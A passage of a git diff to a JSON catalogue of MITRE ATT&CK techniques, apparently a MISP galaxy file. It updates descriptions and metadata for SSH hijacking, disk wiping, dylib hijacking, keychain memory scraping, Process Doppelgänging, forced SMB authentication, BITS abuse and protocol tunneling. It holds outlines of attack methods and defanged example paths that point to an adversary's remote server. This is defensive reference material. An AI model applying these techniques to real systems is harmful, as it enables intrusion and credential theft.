password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "meta": { "external_id": "T1184", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_data_sources": [ - "Authentication logs" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1184", "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219", @@ -10727,6 +18666,15 @@ "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" ] }, + "related": [ + { + "dest-uuid": "4d2a5b3e-340d-4600-9123-309dd63c9bf8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", "value": "SSH Hijacking - T1184" }, @@ -10749,7 +18697,7 @@ "value": "Web Service - T1481" }, { - "description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.", + "description": "**This technique has been deprecated and should no longer be used.**\n\nAs of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.", "meta": { "external_id": "T1149", "kill_chain": [ @@ -10772,6 +18720,32 @@ "uuid": "a0a189c8-d3bd-4991-bf6f-153d185ee373", "value": "LC_MAIN Hijacking - T1149" }, + { + "description": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)", + "meta": { + "external_id": "T1561", + "kill_chain": [ + "mitre-attack:impact" + ], + "mitre_data_sources": [ + "Kernel drivers", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1561", + "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", + "https://docs.microsoft.com/sysinternals/downloads/sysmon" + ] + }, + "uuid": "1988cc35-ced8-4dad-b2d1-7628488fa967", + "value": "Disk Wipe - T1561" + }, { "description": "A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android's accessibility APIs.\n\n[Input Injection](https://attack.mitre.org/techniques/T1516) can be achieved using any of the following methods:\n\n* Mimicking user clicks on the screen, for example to steal money from a user's PayPal account.(Citation: android-trojan-steals-paypal-2fa)\n* Injecting global actions, such as `GLOBAL_ACTION_BACK` (programatically mimicking a physical back button press), to trigger actions on behalf of the user.(Citation: Talos Gustuff Apr 2019)\n* Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers.(Citation: bitwarden autofill logins)", "meta": { @@ -10797,23 +18771,21 @@ "description": "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.", "meta": { "external_id": "T1165", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1165", "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" ] }, + "related": [ + { + "dest-uuid": "c0dfe7b0-b873-4618-9ff8-53e31f70907f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "2ba5aa71-9d15-4b22-b726-56af06d9ad2f", "value": "Startup Items - T1165" }, @@ -10840,16 +18812,6 @@ "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.", "meta": { "external_id": "CAPEC-471", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "File monitoring" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1157", "https://capec.mitre.org/data/definitions/471.html", @@ -10857,17 +18819,29 @@ "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf" ] }, + "related": [ + { + "dest-uuid": "fc742192-19e3-466c-9eb5-964a97b29490", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", "value": "Dylib Hijacking - T1157" }, { - "description": "Adversaries may attempt to get a listing of non-security related software that is installed on the system. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", + "description": "Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", "meta": { "external_id": "T1518", "kill_chain": [ "mitre-attack:discovery" ], "mitre_data_sources": [ + "Stackdriver logs", + "Azure activity logs", + "AWS CloudTrail logs", "Process command-line parameters", "Process monitoring", "File monitoring" @@ -10875,7 +18849,13 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "AWS", + "GCP", + "Azure", + "Office 365", + "Azure AD", + "SaaS" ], "refs": [ "https://attack.mitre.org/techniques/T1518" @@ -10888,16 +18868,6 @@ "description": "Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).", "meta": { "external_id": "T1159", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1159", "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", @@ -10910,20 +18880,28 @@ "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update" ] }, + "related": [ + { + "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "dd901512-6e37-4155-943b-453e3777b125", "value": "Launch Agent - T1159" }, { - "description": "Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).", + "description": "Adversaries may abuse Internet browser extensions to establish persistence access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials) (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence.\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).", "meta": { "external_id": "T1176", "kill_chain": [ "mitre-attack:persistence" ], "mitre_data_sources": [ - "Network protocol analysis", - "Packet capture", - "System calls", + "Windows Registry", + "File monitoring", "Process use of network", "Process monitoring", "Browser extensions" @@ -10953,22 +18931,22 @@ "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)", "meta": { "external_id": "T1167", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_data_sources": [ - "Process monitoring" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1167", "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain", - "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", - "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", + "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" ] }, + "related": [ + { + "dest-uuid": "1a80d097-54df-41d8-9d33-34e755ec5e72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "2715c335-1bf2-4efe-9f18-0691317ff83b", "value": "Securityd Memory - T1167" }, @@ -10976,16 +18954,6 @@ "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelgänging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.", "meta": { "external_id": "T1186", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "API monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1186", "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx", @@ -10996,6 +18964,15 @@ "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx" ] }, + "related": [ + { + "dest-uuid": "7007935a-a8a7-4c0b-bd98-4e85be8ed197", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "c1a452f3-6499-4c12-b7e9-a6a0a102af76", "value": "Process Doppelgänging - T1186" }, @@ -11003,21 +18980,6 @@ "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.", "meta": { "external_id": "T1177", - "kill_chain": [ - "mitre-attack:execution", - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "API monitoring", - "DLL monitoring", - "File monitoring", - "Kernel drivers", - "Loaded DLLs", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1177", "https://technet.microsoft.com/library/cc961760.aspx", @@ -11026,11 +18988,20 @@ "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx" ] }, + "related": [ + { + "dest-uuid": "f0589bc3-a6ae-425a-a3d5-5659bfee07f4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352", "value": "LSASS Driver - T1177" }, { - "description": "The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)", + "description": "Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)", "meta": { "external_id": "T1187", "kill_chain": [ @@ -11060,7 +19031,7 @@ "value": "Forced Authentication - T1187" }, { - "description": "Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016)", + "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016)", "meta": { "external_id": "T1197", "kill_chain": [ @@ -11068,7 +19039,8 @@ "mitre-attack:persistence" ], "mitre_data_sources": [ - "API monitoring", + "Process monitoring", + "Process command-line parameters", "Packet capture", "Windows event logs" ], @@ -11154,7 +19126,7 @@ "value": "Data Encrypted - T1532" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nDNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nDNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)", "meta": { "external_id": "T1382", "kill_chain": [ @@ -11204,6 +19176,102 @@ "uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "value": "Capture Audio - T1429" }, + { + "description": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).", + "meta": { + "external_id": "T1552", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "File monitoring", + "Windows Registry", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure", + "Office 365", + "Azure AD", + "SaaS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1552" + ] + }, + "uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "value": "Unsecured Credentials - T1552" + }, + { + "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", + "meta": { + "external_id": "T1562", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "GCP audit logs", + "Azure activity logs", + "AWS CloudTrail logs", + "Anti-virus", + "Services", + "API monitoring", + "Environment variable", + "Authentication logs", + "File monitoring", + "Process command-line parameters", + "Process monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "AWS", + "GCP", + "Azure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1562" + ] + }, + "uuid": "3d333250-30e4-4a82-9edc-756c68afc529", + "value": "Impair Defenses - T1562" + }, + { + "description": "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ", + "meta": { + "external_id": "T1572", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Network protocol analysis", + "Process monitoring", + "Process use of network", + "Netflow/Enclave netflow", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1572", + "https://www.ssh.com/ssh/tunneling", + "https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", + "value": "Protocol Tunneling - T1572" + }, { "description": "Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)", "meta": { @@ -11256,7 +19324,7 @@ "value": "Port redirector - T1363" }, { - "description": "Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\n\nAdversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) or [Spearphishing Link](https://attack.mitre.org/techniques/T1192) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.\n\nThere have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT 